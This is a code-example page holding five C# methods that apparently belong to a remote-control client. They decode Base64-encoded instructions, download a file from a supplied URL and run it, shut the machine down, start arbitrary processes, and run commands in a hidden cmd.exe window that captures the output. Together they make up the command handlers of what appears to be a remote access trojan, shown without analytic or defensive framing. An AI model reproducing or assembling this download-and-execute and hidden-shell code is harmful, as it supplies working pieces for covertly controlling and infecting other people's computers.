Ejemplo n.º 1
0
 public static String Downloader2Execute(String Info, Boolean Encrypt)
 {
     if (Encrypt)
     {
         Info = Cryptos.Base64_Decode(Info);
     }
     try
     {
         String Response = Downloader(Info, false);
         if (Response == "执行成功!")
         {
             File.Move(Configs.PATH_DOWNLOAD, Configs.PATH_EXECUTE);
             return(ShellExecute(Configs.PATH_EXECUTE, true));
         }
         else
         {
             return(Response);
         }
     }
     catch (Exception Ex)
     {
         Console.WriteLine(Ex);
         return(Ex.ToString());
     }
 }
Ejemplo n.º 2
0
        public static String Shutdown(String Info, Boolean Encrypt)
        {
            if (Encrypt)
            {
                Info = Cryptos.Base64_Decode(Info);
            }
            int WaitTime = int.Parse(Info) + 10;

            Info = WaitTime.ToString();
            return(RunCMD("shutdown /s /t " + Info, false));
        }
Ejemplo n.º 3
0
 public static String ShellExecute(String Info, Boolean Encrypt)
 {
     if (Encrypt)
     {
         Info = Cryptos.Base64_Decode(Info);
     }
     try
     {
         Process.Start(Info);
     }
     catch (Exception Ex)
     {
         return(Ex.ToString());
     }
     return("执行成功!");
 }
Ejemplo n.º 4
0
 public static String Downloader(String Info, Boolean Encrypt)
 {
     if (Encrypt)
     {
         Info = Cryptos.Base64_Decode(Info);
     }
     try
     {
         WebClient Client = new WebClient();
         Client.DownloadFile(Info, Configs.PATH_DOWNLOAD);
     }
     catch (Exception Ex)
     {
         Console.WriteLine(Ex);
         return(Ex.ToString());
     }
     return("执行成功!");
 }
Ejemplo n.º 5
0
        public static String RunCMD(String Info, Boolean Encrypt)
        {
            if (Encrypt)
            {
                Info = Cryptos.Base64_Decode(Info);
            }
            Process P = new Process();

            P.StartInfo.FileName               = "cmd.exe";
            P.StartInfo.UseShellExecute        = false;
            P.StartInfo.RedirectStandardInput  = true;
            P.StartInfo.RedirectStandardOutput = true;
            P.StartInfo.RedirectStandardError  = true;
            P.StartInfo.CreateNoWindow         = true;
            P.Start();
            P.StandardInput.WriteLine(Info + " & exit");
            P.StandardInput.AutoFlush = true;
            String Output = P.StandardOutput.ReadToEnd();

            P.WaitForExit();
            P.Close();
            return(Cryptos.GBK2UTF8(Output));
        }